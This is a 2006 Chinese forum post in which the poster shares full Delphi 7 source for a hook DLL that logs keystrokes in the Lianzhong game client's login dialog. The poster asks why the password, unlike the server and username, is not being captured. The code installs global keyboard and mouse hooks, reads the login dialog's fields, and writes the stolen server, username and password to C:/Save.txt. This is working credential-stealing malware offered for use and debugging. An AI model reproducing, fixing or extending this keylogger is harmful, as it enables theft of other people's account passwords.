关于HOOK的一个问题！高手帮帮忙~~~(100分)

losstsky1987 · 2006-08-24

我写了个一个关于联众的键盘记录，服务器，用户名都能记录下来但就是密码不行检查没有错误，编译器检查也没错误，我用的是D7的我把代码帖出来希望高手解答 library HookDLL; uses  Windows,  SysUtils,  messages; type  PMouseHookStruct = ^TMouseHookStruct;  {$EXTERNALSYM tagMOUSEHOOKSTRUCT}  tagMOUSEHOOKSTRUCT = packed record    pt: TPoint;    hwnd: HWND;    wHitTestCode: UINT;    dwExtraInfo: DWORD;  end;  TMouseHookStruct = tagMOUSEHOOKSTRUCT; var  KeyHook,MouseHook:HHook;  loggedkeys:string; function GetCaption(hWnd: LongWord): string; var  szWindowText: array[0..MAX_PATH] of Char;  szTextLength: Integer; begin  szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));  szWindowText[szTextLength] := #0;  Result := szWindowText; end; function isbutton:boolean; var windowss:THandle; begin result :=False; windowss:=findwindow('#32770','登录信息'); if windowss=0 then exit; result:=true; end; Procedure savetext(str:string); Var F:Textfile; Begin  Assignfile(F,'C:/Save.txt');  if not FileExists('C:/Save.txt') Then  begin    Rewrite(F);    Writeln(F, str);    closefile(F);  End Else Assignfile(F,'C:/Save.txt'); Append(F); Writeln(F, str); Closefile(F); End; procedure logthekeys();//最经典的键盘记录处理函数 var  i : byte; begin  for i:=8 To 222 do  begin  if GetAsyncKeyState(i)=-32767 then  begin  case i of       8: {loggedkeys := loggedkeys +'[BACKSPACE]'} loggedkeys := copy(loggedkeys, 0, length(loggedkeys) - 1);        9  :  loggedkeys := loggedkeys + '(TAB)';        13 :  loggedkeys := loggedkeys + #13#10;        17 :  loggedkeys := loggedkeys + '(Ctrl)';        27 :  loggedkeys := loggedkeys + '(ESC)';        32 :  loggedkeys := loggedkeys + ' ';        33 :  loggedkeys := loggedkeys + '(Page up)';        34 :  loggedkeys := loggedkeys + '(Page down)';        35 :  loggedkeys := loggedkeys + '(End)';        36 :  loggedkeys := loggedkeys + '(Home)';        37 :  loggedkeys := loggedkeys + '(Left)';//这里关键哦～一定要处理好这两个键！我懒得处理        38 :  loggedkeys := loggedkeys + '(Up)';        39 :  loggedkeys := loggedkeys + '(Right)';//这里关键哦～一定要处理好这两个键！我懒得处理        40 :  loggedkeys := loggedkeys + '(Down)';        44 :  loggedkeys := loggedkeys + '(Prnt Scrn)';        45 :  loggedkeys := loggedkeys + '(Insert)';        46 :  loggedkeys := loggedkeys + '(Delete)';        145 : loggedkeys := loggedkeys + '(Scroll lock)';        48 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+')'             else  loggedkeys:= loggedkeys+'0';        49 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'!'             else  loggedkeys:= loggedkeys+'1';        50 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'@'             else  loggedkeys:= loggedkeys+'2';        51 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'#'             else  loggedkeys:= loggedkeys+'3';        52 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'$'             else  loggedkeys:= loggedkeys+'4';        53 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'%'             else  loggedkeys:= loggedkeys+'5';        54 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'^'             else  loggedkeys:= loggedkeys+'6';        55 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'&'             else  loggedkeys:= loggedkeys+'7';        56 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'*'             else  loggedkeys:= loggedkeys+'8';        57 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'('           else  loggedkeys:= loggedkeys+'9';        65..90 :        begin          if ((GetKeyState(VK_CAPITAL))=1) then          if GetKeyState(VK_SHIFT)<0 then            loggedkeys:= loggedkeys+LowerCase(Chr(i))          else            loggedkeys:= loggedkeys+UpperCase(Chr(i))          else            if GetKeyState(VK_SHIFT)<0 then loggedkeys := loggedkeys+UpperCase(Chr(i))          else            loggedkeys:= loggedkeys+LowerCase(Chr(i));        end;        96..105 :  loggedkeys:= loggedkeys + inttostr(i-96);        106: loggedkeys:= loggedkeys+'*';        107: loggedkeys:= loggedkeys+'&';        109: loggedkeys:= loggedkeys+'-';        110: loggedkeys:= loggedkeys+'.';        111: loggedkeys:= loggedkeys+'/';        144 :  loggedkeys:= loggedkeys+'[Num Lock]';        112..123:loggedkeys:= loggedkeys+'[F'+IntToStr(i - 111)+']';        186 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+':'              else  loggedkeys:= loggedkeys+';';        187 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'+'              else  loggedkeys:= loggedkeys+'=';        188 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'<'              else  loggedkeys:= loggedkeys+',';        189 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'_'              else  loggedkeys:= loggedkeys+'-';        190 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'>'              else  loggedkeys:= loggedkeys+'.';        191 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'?'              else  loggedkeys:= loggedkeys+'/';        192 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'~'              else  loggedkeys:= loggedkeys+'`';        219 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'{'              else  loggedkeys:= loggedkeys+'[';        220 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'|'              else  loggedkeys:= loggedkeys+'/';        221 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'}'              else  loggedkeys:= loggedkeys+']';        222 : if GetKeyState(VK_SHIFT)<0 then  loggedkeys:= loggedkeys+'"'              else  loggedkeys:= loggedkeys+''''; end; end; end; end; function getwindow:string; var window,hbutton:THandle; begin result := ''; window:=findwindow('#32770','登录信息'); if window=0 then exit; hbutton:=findwindowex(window,THandle(nil),'ODComboBox',nil); if hbutton=0 then exit; result:=getcaption(hbutton) end; function getname:string; var name,button:THandle; begin result := ''; name:=findwindow('#32770','登录信息'); if name=0 then exit; button:=GetDlgItem(name,$000003F1); if button=0 then exit; result:=getcaption(button) end; function lz:THandle; var window,password_window:thandle; begin result:=0; window:=findwindow('#32770','登录信息'); if window=0 then exit; password_window:=GetDlgItem(window,$00000001); if password_window=0 then exit; result:=password_window; end; function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin   {回车}        {键盘按键按下消息}  if (wParam=13) and (((LParam shr 31)and 1)=0) and (isbutton) then  begin savetext('服务器:'+getwindow+#13#10+'用户名'+getname+#13#10+'密码:'+loggedkeys+#13#10); loggedkeys:='';  end else   begin    if (((LParam shr 31)and 1)=0)and (isbutton) then     begin      logthekeys();     end;  end;  Result:=CallNextHookEx(KeyHook,code,Wparam,lParam); end; function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export; var buffer:array[0..MAX_PATH] of char; begin {鼠标左键按下消息}  if wparam=$0201 then  begin  SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,255,Integer(@buffer));    if pMOUSEHOOKSTRUCT(lparam)^.hwnd=lz  then    begin savetext('服务器:'+getwindow+#13#10+'用户名'+getname+#13#10+'密码'+loggedkeys+#13#10); loggedkeys:='';    end;  end;  Result := CallNextHookEx(MouseHook, iCode, wParam, lParam); end; procedure HookOn; begin  KeyHook     :=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);  MouseHook   :=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance,0); end; procedure HookOff; begin  UnHookWindowsHookEx(KeyHook);  UnHookWindowsHookEx(MouseHook); end; exports  HookOn,HookOff;  begin  end.

关于HOOK的一个问题！高手帮帮忙~~~(100分)

losstsky1987

Unregistered / Unconfirmed

Similar threads